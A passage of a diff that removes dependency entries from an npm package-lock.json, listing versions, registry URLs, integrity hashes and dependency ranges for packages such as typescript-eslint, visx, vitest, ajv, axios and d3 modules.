"node_modules/@typescript-eslint/type-utils": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.69.0.tgz", - "integrity": "sha512-ZfoJAVg3JZndQEpEl9petVlxau3lRuElc4HRMuAlLCf8to04/iHz692RUSNmXKDjEuJmIL+KZ2/BsOcBc16dsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.69.0", - "@typescript-eslint/typescript-estree": "8.69.0", - "@typescript-eslint/utils": "8.69.0", - "debug": "^4.4.3", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.69.0.tgz", - "integrity": "sha512-K3VrubUPhlo9VDBS6QdI8YB5j7ClpqLRdefcz6PFrhnwicehBweqQ9Evhl4l+FYz0HdDmMqIiSX0aldGRYtDCA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.69.0.tgz", - "integrity": "sha512-AdFkgqck3Vudb/kWnxlyafU/4aBhHrbQ9locP2N4psXTy5mOBg0SHJumnLvx7r6g1gV4DKvUFwV2nJZBoqOD8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.69.0", - "@typescript-eslint/tsconfig-utils": "8.69.0", - "@typescript-eslint/types": "8.69.0", - "@typescript-eslint/visitor-keys": "8.69.0", - "debug": "^4.4.3", - "minimatch": "^10.2.2", - "semver": "^7.7.3", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.5.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/utils": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.69.0.tgz", - "integrity": "sha512-tUbx60BBqQa31kXF5MCsOOLL5E/WzUuxIn7YpAvq+eaUlqvk8/NXnXMBNAdLCr0icjkzem7iUA5QqWHe/hJ1aw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.9.1", - "@typescript-eslint/scope-manager": "8.69.0", - "@typescript-eslint/types": "8.69.0", - "@typescript-eslint/typescript-estree": "8.69.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", - "typescript": ">=4.8.4 <6.1.0" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.69.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.69.0.tgz", - "integrity": "sha512-+rmdgPA+EXkNgKYvHvFfhrs35utXbwaC5PGpDquSXcoXQDKUA5UjV0LmTucG/4JXkM31BTu4TilHtrN8IVBe8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.69.0", - "eslint-visitor-keys": "^5.0.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@visx/curve": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/curve/-/curve-4.0.1-alpha.0.tgz", - "integrity": "sha512-jRu61Uz274pV1zyioXmboyrLutYbnKsgjj4njSGCnhdXj5GkZvZbg+ThDb6oOzoAnJOBRLz4rzPlWvNJOzuVMg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@visx/vendor": "4.0.0-alpha.0" - } - }, - "node_modules/@visx/event": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/event/-/event-4.0.1-alpha.0.tgz", - "integrity": "sha512-EQqCMSv/s8NbFjo+hz3FKsvvYfP+2QslsFJ/24/O5l/W+7UC6J6aAvO0ujVwrTwdYbuQ+vhxKi1xdPdKR/qj1g==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/react": "*", - "@visx/point": "4.0.1-alpha.0" - } - }, - "node_modules/@visx/grid": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/grid/-/grid-4.0.1-alpha.0.tgz", - "integrity": "sha512-rycutGmTHO+znNdPumheWMglm7YfpffvRwUkVy5zy4WoORIuKTMkDxwnOzHG2xMxU3EE/YCd37xFV5AxA30yeg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/react": "*", - "@visx/curve": "4.0.1-alpha.0", - "@visx/group": "4.0.1-alpha.0", - "@visx/point": "4.0.1-alpha.0", - "@visx/scale": "4.0.1-alpha.0", - "@visx/shape": "4.0.1-alpha.0", - "classnames": "^2.3.1" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/group": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/group/-/group-4.0.1-alpha.0.tgz", - "integrity": "sha512-V19l7iQ7jccBv8kao/EByuI6o4xtxzzLV9nqVI1hRvmdzTVsuLpqlwzYCZUXJaTVvUWf8s4D2SQFjGkj/Nw+0w==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/react": "*", - "classnames": "^2.3.1" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/point": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/point/-/point-4.0.1-alpha.0.tgz", - "integrity": "sha512-ijTfr/Nx09f03vIj9nyTr3z4Xth4Y75427UaogJh6dnIRLMEFHQOwNu791sbfiNj0a+ZXuaE32h0vKrFe4/8Qg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@visx/responsive": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/responsive/-/responsive-4.0.1-alpha.0.tgz", - "integrity": "sha512-o+1zGywQZY0+yOx3Iw87wc4bbPJRr/HnIukTwfOz4UVyj9pB1OQNVHB7OORO1+LBHJceWpB31co/ZV9KHncKrA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/lodash": "^4.17.13", - "@types/react": "*", - "lodash": "^4.17.21" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/scale": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/scale/-/scale-4.0.1-alpha.0.tgz", - "integrity": "sha512-nzjeE87vFSAXGWFiiNfBpNLAf0Q8Qmf6syvKLjqNi4kGZkdhbUll3E/59YsgWXmjM8+llPLWzGsP+JPvo5eq1A==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@visx/vendor": "4.0.0-alpha.0" - } - }, - "node_modules/@visx/shape": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/shape/-/shape-4.0.1-alpha.0.tgz", - "integrity": "sha512-62QeiVNmPlterQGwhkEDcbq7M0MqY0lBsK5QKXtM9ZoPZWkuGV3aykA3+Xu20B2FAvyJq4LqJzBc7Sxr+EAdbA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/lodash": "^4.17.13", - "@types/react": "*", - "@visx/curve": "4.0.1-alpha.0", - "@visx/group": "4.0.1-alpha.0", - "@visx/scale": "4.0.1-alpha.0", - "@visx/vendor": "4.0.0-alpha.0", - "classnames": "^2.3.1", - "lodash": "^4.17.21" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/vendor": { - "version": "4.0.0-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/vendor/-/vendor-4.0.0-alpha.0.tgz", - "integrity": "sha512-6I+MuqXBcv9jnlcVowHoHKSdk9gXTWkHLKyqBwRWg7LY6A3Ei8SHfubpqGV5rBUSppxMq2RszPJUS6w+H0YgmQ==", - "devOptional": true, - "license": "MIT and ISC", - "dependencies": { - "@types/d3-array": "3.0.3", - "@types/d3-color": "3.1.0", - "@types/d3-delaunay": "6.0.1", - "@types/d3-format": "3.0.1", - "@types/d3-geo": "3.1.0", - "@types/d3-interpolate": "3.0.1", - "@types/d3-path": "3.1.1", - "@types/d3-scale": "4.0.2", - "@types/d3-shape": "3.1.7", - "@types/d3-time": "3.0.0", - "@types/d3-time-format": "2.1.0", - "d3-array": "3.2.1", - "d3-color": "3.1.0", - "d3-delaunay": "6.0.2", - "d3-format": "3.1.0", - "d3-geo": "3.1.0", - "d3-interpolate": "3.0.1", - "d3-path": "3.1.0", - "d3-scale": "4.0.2", - "d3-shape": "3.2.0", - "d3-time": "3.1.0", - "d3-time-format": "4.1.0", - "internmap": "2.0.3" - } - }, - "node_modules/@visx/vendor/node_modules/d3-array": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.1.tgz", - "integrity": "sha512-gUY/qeHq/yNqqoCKNq4vtpFLdoCdvyNpWoC/KNjhGbhDuQpAM9sIQQKkXSNpXa9h5KySs/gzm7R88WkUutgwWQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/@vitest/mocker": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-5.0.0.tgz", - "integrity": "sha512-66PGTMIiVJP3t4a5yxU9qPtf7MdTBs8jmToMvy+HVflB3Yy13WJZTtPePdvU+wjRV02SKK5doLbSA6o9pwOmiA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/trace-mapping": "0.3.31", - "@vitest/spy": "5.0.0", - "estree-walker": "^3.0.3", - "magic-string": "^1.2.3" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "msw": "^2.4.9", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "msw": { - "optional": true - }, - "vite": { - "optional": true - } - } - }, - "node_modules/@vitest/spy": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-5.0.0.tgz", - "integrity": "sha512-uy+luWBAPw9XfthoHi5AkfHUnuPYEESjl0p/r+meoBnU8bxg5GDQ3Ey8MjcJ6sqahkL4PFyrvfMJJBw7LbU06g==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/abort-controller": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", - "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", - "license": "MIT", - "dependencies": { - "event-target-shim": "^5.0.0" - }, - "engines": { - "node": ">=6.5" - } - }, - "node_modules/abstract-logging": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/abstract-logging/-/abstract-logging-2.0.1.tgz", - "integrity": "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA==", - "license": "MIT" - }, - "node_modules/acorn": { - "version": "8.18.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", - "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "license": "MIT", - "dependencies": { - "debug": "4" - }, - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/ajv": { - "version": "6.15.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", - "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ajv-formats": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", - "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", - "license": "MIT", - "dependencies": { - "ajv": "^8.0.0" - }, - "peerDependencies": { - "ajv": "^8.0.0" - }, - "peerDependenciesMeta": { - "ajv": { - "optional": true - } - } - }, - "node_modules/ajv-formats/node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ajv-formats/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "license": "MIT" - }, - "node_modules/assertion-error": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", - "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - } - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", - "license": "MIT" - }, - "node_modules/atomic-sleep": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", - "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", - "license": "MIT", - "engines": { - "node": ">=8.0.0" - } - }, - "node_modules/avvio": { - "version": "9.3.0", - "resolved": "https://registry.npmjs.org/avvio/-/avvio-9.3.0.tgz", - "integrity": "sha512-g2tQ7LE7oOSqDfwEm3M+ZCMTJc7KiZCdJ4UwyZJb5ckTKyYu50OYmvv0mCFXPuYXoM4zkSt8zM9XQ9KCvxA74A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/error": "^4.0.0", - "fastq": "^1.17.1" - } - }, - "node_modules/aws-ssl-profiles": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/aws-ssl-profiles/-/aws-ssl-profiles-1.1.2.tgz", - "integrity": "sha512-NZKeq9AfyQvEeNlN0zSYAaWrmBffJh3IELMZfRpJVWgrpEbtEpnjvzqBPf+mxoI287JohRDoa+/nsfqqiZmF6g==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/axios": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.18.0.tgz", - "integrity": "sha512-E32NzpYKp++W7XRe52rHiXV2ehxmh3wbdgO7MHeFM+vqxLBYHzt0ElkiImtOBxtOmyp0yoC8C6uESVV84Y2/hw==", - "license": "MIT", - "dependencies": { - "follow-redirects": "^1.16.0", - "form-data": "^4.0.5", - "https-proxy-agent": "^5.0.1", - "proxy-from-env": "^2.1.0" - } - }, - "node_modules/balanced-match": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", - "license": "MIT", - "engines": { - "node": "18 || 20 || >=22" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/better-result": { - "version": "2.10.0", - "resolved": "https://registry.npmjs.org/better-result/-/better-result-2.10.0.tgz", - "integrity": "sha512-oQhh0y1qo2/ZKdAAEvHZAqKKiHOFU5k/bW96fE2ScgQOVkJRiHwB+nOS1SgFsYqRlxMDWvefXi9Q3px7QvgNDw==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/bignumber.js": { - "version": "11.1.5", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-11.1.5.tgz", - "integrity": "sha512-6WmzCNtUnfKpbozq+hOgWaZMMzORmYBwF1xZScyoIX3QRYWeKTtxxwDOW5tIz7C9BdjkIYHGTcelCLkXg0mndw==", - "license": "MIT" - }, - "node_modules/brace-expansion": { - "version": "5.0.9", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz", - "integrity": "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg==", - "license": "MIT", - "dependencies": { - "balanced-match": "^4.0.2" - }, - "engines": { - "node": "20 || >=22" - } - }, - "node_modules/buffer": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", - "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "base64-js": "^1.3.1", - "ieee754": "^1.2.1" - } - }, - "node_modules/c12": { - "version": "3.3.4", - "resolved": "https://registry.npmjs.org/c12/-/c12-3.3.4.tgz", - "integrity": "sha512-cM0ApFQSBXuourJejzwv/AuPRvAxordTyParRVcHjjtXirtkzM0uK2L9TTn9s0cXZbG7E55jCivRQzoxYmRAlA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "chokidar": "^5.0.0", - "confbox": "^0.2.4", - "defu": "^6.1.6", - "dotenv": "^17.3.1", - "exsolve": "^1.0.8", - "giget": "^3.2.0", - "jiti": "^2.6.1", - "ohash": "^2.0.11", - "pathe": "^2.0.3", - "perfect-debounce": "^2.1.0", - "pkg-types": "^2.3.0", - "rc9": "^3.0.1" - }, - "peerDependencies": { - "magicast": "*" - }, - "peerDependenciesMeta": { - "magicast": { - "optional": true - } - } - }, - "node_modules/cacheable": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/cacheable/-/cacheable-2.5.0.tgz", - "integrity": "sha512-60cyAOytib/OzBw1JNSoSV/boK1AtHryDIjvVBk7XbN4ugfkM3+Sry7fEjNgPMGgOjuaZPAp8ruZ0Cxafwyq9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@cacheable/memory": "^2.2.0", - "@cacheable/utils": "^2.5.0", - "hookified": "^1.15.0", - "keyv": "^5.6.0", - "qified": "^0.10.1" - } - }, - "node_modules/call-bind-apply-helpers": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", - "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/chai": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", - "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/chokidar": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", - "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "readdirp": "^5.0.0" - }, - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/classnames": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", - "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/colorette": { - "version": "2.0.20", - "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", - "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", - "dev": true, - "license": "MIT" - }, - "node_modules/combined-stream": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", - "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", - "license": "MIT", - "dependencies": { - "delayed-stream": "~1.0.0" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/commander": { - "version": "14.0.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.3.tgz", - "integrity": "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw==", - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/confbox": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.2.4.tgz", - "integrity": "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/content-disposition": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-3.0.0.tgz", - "integrity": "sha512-ZH/0Xs9rMIFWCOmGdmS9eHBTF62qqQYNz4nVjQhkdIO/a0fCP4UIM3mRz/wiqL0L14YgAz/1xio4OaSY4+ON/A==", - "license": "MIT", - "engines": { - "node": ">=22" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cookie": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/d3-array": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", - "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-delaunay": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.2.tgz", - "integrity": "sha512-IMLNldruDQScrcfT+MWnazhHbDJhcRJyOEBAJfwQnHle1RPh6WDuLvxNArUju2VSMSUuKlY5BGHRJ2cYyoFLQQ==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "delaunator": "5" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-geo": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.0.tgz", - "integrity": "sha512-JEo5HxXDdDYXCaWdwLRt79y7giK8SbhZJbFWXqbRTolCHFI5jRqteLzCsq51NKbUoX0PjBVSohxrx+NoOUujYA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-array": "2.5.0 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "d3-color": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - 